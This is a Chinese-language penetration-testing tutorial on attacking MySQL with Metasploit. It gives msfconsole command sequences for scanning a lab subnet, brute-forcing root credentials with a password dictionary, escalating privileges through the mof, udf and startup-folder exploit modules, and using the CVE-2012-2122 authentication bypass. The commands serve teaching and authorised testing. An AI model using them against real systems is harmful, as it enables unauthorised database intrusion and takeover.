Metasploit在安全界简称msf,而不是网上的一个也叫msf的Misfits战队。Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具,分为免费版和收费版本,其官方地址为:https://www.metasploit.com/,在早期的BT渗透平台以及Kali、pentestbox中都配备有Metasploit。

0x01前言

1、相关资源

(1) metasploit的github项目:https://github.com/rapid7/metasploit-framework
(2)metasploit帮助文档:https://metasploit.help.rapid7.com/docs/getting-started
(3)Metasploit渗透测试魔鬼训练营:
 https://pan.baidu.com/s/1mgib7b6#list/path=%2F
(4)metasploit 漏洞模拟器:https://github.com/rapid7/metasploit-vulnerability-emulator

2、测试环境

(1)渗透平台:kali linux2.x
(2)靶场平台:Windows2003SP2+phpstduy+ComsenzEXP_X25GBK+Mysql5.1.68

3、Metasploit下所有Mysql辅助、扫描以及漏洞利用模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
auxiliary/admin/mysql/mysql_enum  MySQL枚举模块
auxiliary/admin/mysql/mysql_sql       MySQL SQL查询
auxiliary/analyze/jtr_mysql_fast       John the Ripper 破解MySQL密码
auxiliary/scanner/mysql/mysql_authbypass_hashdump   MySQL密码认证绕过
auxiliary/scanner/mysql/mysql_file_enum   MYSQL 文件/目录枚举
auxiliary/scanner/mysql/mysql_hashdump   MYSQL 密码哈希值获取
auxiliary/scanner/mysql/mysql_login   MySQL登录验证暴力破解模块
auxiliary/scanner/mysql/mysql_schemadump   MYSQL Schema 导出
auxiliary/scanner/mysql/mysql_version    MySQL信息枚举
auxiliary/scanner/mysql/mysql_writable_dirs     MYSQL目录可写测试
auxiliary/server/capture/mysql  捕获MySQL认证凭证
exploit/linux/mysql/mysql_yassl_getname   yaSSL CertDecoder::GetName溢出漏洞
exploit/linux/mysql/mysql_yassl_hello    MySQL yaSSL SSL Hello 消息溢出漏洞
exploit/windows/mysql/mysql_mof    windows mof提权
exploit/windows/mysql/mysql_payload   windows上传漏洞提权
exploit/windows/mysql/mysql_start_up   windows启动项提权
exploit/windows/mysql/mysql_yassl_hello   MySQL yaSSL SSL Hello 消息溢出exploit/windows/mysql/scrutinizer_upload_exec   Plixer Scrutinizer NetFlow和sFlow分析器9 MYSQL默认凭据上传执行
经过实际测试,黑色加粗模块使用效果较好。

0x02渗透思路

利用Metasploi渗透的思路遵循网络渗透的思路:

1.信息收集,收集目标IP地址。
2.端口信息收集与扫描,对目标IP的地址或者IP段进行数据库端口扫描。
3.对开放Mysql数据库的IP地址或者IP地址段进行密码暴力破解。
4.对破解成功的Mysql数据库进行漏洞利用和提权。

0x03信息获取

1、msf快速搜索关键字

本次主要利用kali平台进行msf演示,在kali中快速搜索漏洞需要手动进行更新及进行相应的处理,否则搜索漏洞时间非常长,kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

在kali 2.0中启动带数据库支持的MSF方式如下:
(1)首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
(2)初始化MSF数据库:msfdb init;
(3)运行msfconsole:msfconsole;
(4)建立db_rebuild_cache
db_rebuild_cache
(5)在msf中查看数据库连接状态:
db_status
(6)数据库重建完毕后使用search keystring速度就会特别快。

2、端口信息收集

(1)nmap扫描端口信息,获取扫描IP地址3306端口开放情况以及mac地址信息,如图1所示。执行命令:nmap -p 3306 192.168.157.130

t1.png
图1扫描端口

(2)扫描mysql数据以及端口信息,获取数据库版本,如图2所示。
nmap --script=mysql-info 192.168.157.130

t2.png
图2获取mysql数据库版本以及端口信息

(3)查看mysq版本信息

1
2
3
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run

options或者info查看配置信息或者详细信息。
rhosts:目标IP(可以是单个IP,也可以是一个网段192.168.157.1-255 or 192.168.1.0/24,或者文件/root/ip_addresses.txt)
THREADS:线程数,默认为1,一般默认即可,Msf发现存在mysql数据库的会以绿色+显示,如图3所示。

t3.png
图3 mysql版本扫描

0x04密码破解

1、msf密码破解mysql_login

利用模块为辅助模块auxiliary/admin/mysql/mysql_sql,其模块主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数,其中部分参数需要设置。

对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD或者PASS_FILE

(1)场景1:内网获取root某一个口令

1
2
3
4
5
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.1-254
set password root
set username root
run

执行后对192.168.157.1-254进行mysql用户名为root,密码为root的扫描验证,执行效果如图4所示。

t4.png
图4Msf扫描mysql单一密码

(2)场景2:使用密码字典进行扫描

1
2
3
4
5
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.1-254
set pass_file “/root/top10000pwd.txt”
set username root
run

说明:如果通过扫描暴力破解成功,msf会将该用户名和密码保存在session中。

0x05尝试Mysql提权

Metasploit下对Mysql在Linux操作系统下的提权支持较少,针对Windows提权有三个。

(1)mof提权

1
2
3
4
5
use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1
set rport 3306
set password root
set username root

还需要设置本地反弹的计算机ip及端口
Mysql 5.0.22 测试mof提权未成功
mysql 5.5.53(phpstudy) 测试mof提权未成功。
5.1.68-community MySQL Community Server测试mof提权成功。

t5.png
图5 mof提权成功

(2)udf提权

1
use exploit/windows/mysql/mysql_payload

跟--secure-file-priv选项和mysql版本有关

(3)程序启动项提权

1
exploit/windows/mysql/mysql_start_up

对中文版本支持效果较差,需要设置startup_folder,默认是英文路径,经过更改为中文路径,测试未成功。

set startup_folder "/Documents and Settings/All Users/「开始」菜单/程序/启动/

0x06其它溢出漏洞

Metasploit中还有一些mysql的溢出漏洞,但有具体场景要求,可以在实际渗透时进行实际测试,其参数设置比较简单,通过info或者options进行查看,使用set命令进行设置,后续漏洞利用就不赘述。

1、Mysql身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exe

0x07技巧

使用全局变量,内网渗透时比较好用,具体命令为:

1
2
3
4
setg rhost 192.168.1-254 
setg username root
setg password root
save

以上命令将设置rhost、username、password为全局变量,设置完毕后将保存在/root/.msf4/config文件中。使用unsetg命令解除全局变量设置:

1
2
3
4
unsetg rhost   
unsetg username  
unsetg password 
save

0x08思考与总结

Metasploit下mysql提权主要环境针对英文版,对中文版本提权相对效果较差,需要更改其默认的文件夹选项等。在实际环境中可以下载pentestbox带Metasploit的版本来实施渗透。总的来说针对Mysql的渗透,Msf功能很强大,有的漏洞可以直接获取shell,可以在shell的基础上直接进行提权。

类似文章参见安全脉搏 《利用Metasploit来攻击Mysql 》


本文作者:simeon

本文属于安全脉搏原创